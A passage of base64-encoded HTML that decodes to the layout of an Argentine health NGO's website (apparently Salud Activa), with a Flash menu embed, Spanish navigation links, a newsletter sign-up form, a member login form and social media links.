GNsYXNzaWQ9ImNsc2lkOkQyN0NEQjZFLUFFNkQtMTFjZi05NkI4LTQ0NDU1MzU0MDAwMCIgY29kZWJhc2U9Imh0dHA6Ly9kb3dubG9hZC5tYWNyb21lZGlhLmNvbS9wdWIvc2hvY2t3YXZlL2NhYnMvZmxhc2gvc3dmbGFzaC5jYWIjdmVyc2lvbj02LDAsMjksMCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+CiAgICAgICAgPHBhcmFtIG5hbWU9Im1vdmllIiB2YWx1ZT0ic3dmL3N1Ym1lbnUuc3dmIiAvPgogICAgICAgIDxwYXJhbSBuYW1lPSJxdWFsaXR5IiB2YWx1ZT0iaGlnaCIgLz4KICAgICAgICA8ZW1iZWQgc3JjPSJzd2Yvc3VibWVudS5zd2YiIHF1YWxpdHk9ImhpZ2giIHBsdWdpbnNwYWdlPSJodHRwOi8vd3d3Lm1hY3JvbWVkaWEuY29tL2dvL2dldGZsYXNocGxheWVyIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd2lkdGg9Ijk2IiBoZWlnaHQ9IjQ2MSI+PC9lbWJlZD48L29iamVjdD4KICAgICAgPC9ub3NjcmlwdD48L3RkPgogICAgPHRkIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYmdjb2xvcj0iI0ZGRkZGRiI+CiAgICAgICAgPHRyPiAKICAgICAgICAgIDx0ZCB3aWR0aD0iMTciIHJvd3NwYW49IjciPjxwPiZuYnNwOzwvcD48L3RkPgogICAgICAgICAgPHRkIHdpZHRoPSIxNzIiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjRTNFM0UzIj4gPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxpbWcgc3JjPSJpbWcvM3B4LmpwZyIgd2lkdGg9IjUiIGhlaWdodD0iNSI+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciI+PGxpbmsgaHJlZj0iLi4vZXN0aWxvcy5jc3MiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIC8+Cjxib2R5IGJnY29sb3I9IiNDQ0NDQ0MiIHRvcG1hcmdpbj0iNiBweCI+PHRhYmxlIHdpZHRoPSIxNjUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIzIiBiZ2NvbG9yPSIjRkZGRkZGIj4KPHRyPgogICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTkxIiBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiAgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MThfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+SG9tZTwvYT48L3RkPgogIDwvdHI+Cjx0cj4KICA8dGQgaGVpZ2h0PSIyOCIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj4mbmJzcDsmbmJzcDtOb3RpY2lhczwvYT48L3RkPgo8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJkb25hY2lvbmVzLyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmb25kb2JvdG9uIj5Eb25hY2lvbmVzPC9hPjwvdGQ+CiAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI4IiBiYWNrZ3JvdW5kPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiA+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciICB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yM19uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5IaXN0b3JpYWwgZGUgbmV3c2xldHRlcnM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjgiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTEzYSIgY2xhc3M9ImZvbmRvYm90b24iPkVudmlhciBpbmZvcm1hY2kmb2FjdXRlO248L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiJoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0yNl9uZXciIGNsYXNzPSJmb25kb2JvdG9uIj5WZXIgdHJhYmFqb3MgZGUgdXN1YXJpb3M8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJpbmRleC5waHA/aWQ9MTZfbmV3IiBjbGFzcz0iZm9uZG9ib3RvbiI+U2FsdWQgQWN0aXZhIHByZW5zYTwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgPjxpbWcgc3JjPSIuLi9pbWcvcmVkaXNlbm9fMTEuanBnIiB3aWR0aD0iNiIgaGVpZ2h0PSIyOCIgYWxpZ249ImFic21pZGRsZSIgLz48YSBocmVmPSJtYWlsdG86c2FsdWRhY3RpdmFAc2FsdWRhY3RpdmEub3JnLmFyIiBjbGFzcz0iZm9uZG9ib3RvbiI+TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaW